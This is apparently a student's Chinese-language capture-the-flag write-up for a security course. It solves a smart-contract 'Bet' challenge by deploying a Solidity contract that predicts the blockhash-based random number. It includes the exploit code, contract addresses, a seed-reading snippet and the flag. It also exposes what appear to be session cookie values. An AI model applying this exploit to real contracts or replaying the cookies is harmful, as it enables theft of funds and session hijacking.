---
# System prepended metadata

title: HW3
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# HW3
## Bet
這題就是一個猜數字拿到錢後再去驗證就能拿到FLAG，但是要猜的那個數字是random，所以需要佈署一個合約去解，因為佈署跟要解的challenge在同個block所以題目寫的getRandom我自己就可以算出一樣的數字再去拿到FLAG，自己佈署的合約需要有以下的功能
* 能夠create BetFactory
* 能夠call BetFactory的validate
* 能夠assign seed
* 用seed去算出要猜的數字後去呼叫bet

那上面說的功能的code可以寫成
```solidity
contract Hack {
    address target;
    uint seed;
    function create(address _factory) public payable {
        BetFactory factory = BetFactory(_factory);    
        factory.create{value: msg.value}();
    }
    function validate(address _factory, uint token) public {
        BetFactory factory = BetFactory(_factory);    
        factory.validate(token);
    }
    function run(address _target) public payable {
        target = _target;
        Bet instances = Bet(target);
        uint guess = seed ^ uint(blockhash(block.number - 1));
        instances.bet{value: msg.value}(guess);
        seed ^= block.timestamp;
    }
    function set_seed(uint seed_) public payable {
        seed = seed_;
    }
    receive () external payable {}
}
```
那在上面還要定義關於BetFactory跟Bet的合約跟function

```solidity
contract BetFactory {
    function create () public payable {}
    function validate (uint) public {}
}

contract Bet {
    function bet (uint guess) public payable {}
    function getRandom () internal returns(uint) {}
}
```

基本上定義完這些後就是解完了，只要去了解到底要怎麼運用這些function去拿到FLAG就ok，這邊我是搞挺久的，原本兩天領的10 ETH被我一直試到只剩下1.4266 ETH，而且因為我忘記寫withdraw把它給取回來，所以我的錢才會越來越少。

run裡面instances.bet{value: msg.value}要這樣寫是因為bet裡面要呼叫時msg的value需要大於0，所以這樣寫的時候我在乎叫時會去讀我value設多少再去呼叫這樣，我的錢會試到剩這麼少就是因為我一開始沒注意到這點，run一直失敗，所以改了好幾次code佈署了好幾份合約，每次create chellenge都要花0.5 ETH...

接下來的步驟就是切成
* 佈署完合約後用題目給的Factory的位置去create challenge
    * 合約位置：**0xAc85eBF5ebA00BEd2Eb0Cd988c5383eF83BEFC36**
    * Factory位置：**0x8e0a809B1f413deB6427535cC53383954DBF8329**
* 拿到這個challenge位置後用這個位置去執行run這個function，我自己的chellange位置為
    * **0xbAD444143769002C7B7715885bbe1612b4a356f5**
* 拿到這個challenge的seed然後assign給我佈署的合約，拿seed的部分我是用nodejs寫，其餘的部分我是全部在remix上操作
```nodejs!
let challenge = lib.contract('0xbAD444143769002C7B7715885bbe1612b4a356f5',JSON.parse(fs.readFileSync('Bet.abi')))
console.log(await challenge.storage(1));
```
* 拿到seed後去執行run的function後就幾乎完成了，最後再去連上server拿token然後執行validate就成功拿到FLAG
* 順便提一下上面的code用challenge.storage(1)是因為在abi上seed是放在第二個，所以用1來去取得seed的值

FLAG
```
FLAG{CgMZBaRrk4tY1xnnEdDi}
Cookie: sess=_t7yHKZgX7C0ac_oiShIdA; rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTJkZGI3N2E0Zjc1OGZhZmNiN2Ey%0AMjk4NmEwZDIyNjY5ZjU4ODUwMTdmOWIxMzU0OTliMmIxYjIwMjZhMzAyOGEG%0AOwBGSSIKZmxhc2gGOwBGewBJIgx1c2VyX2lkBjsARmkB8A%3D%3D%0A--f7528e40dd282f75a7836398f8d414981d704f16
```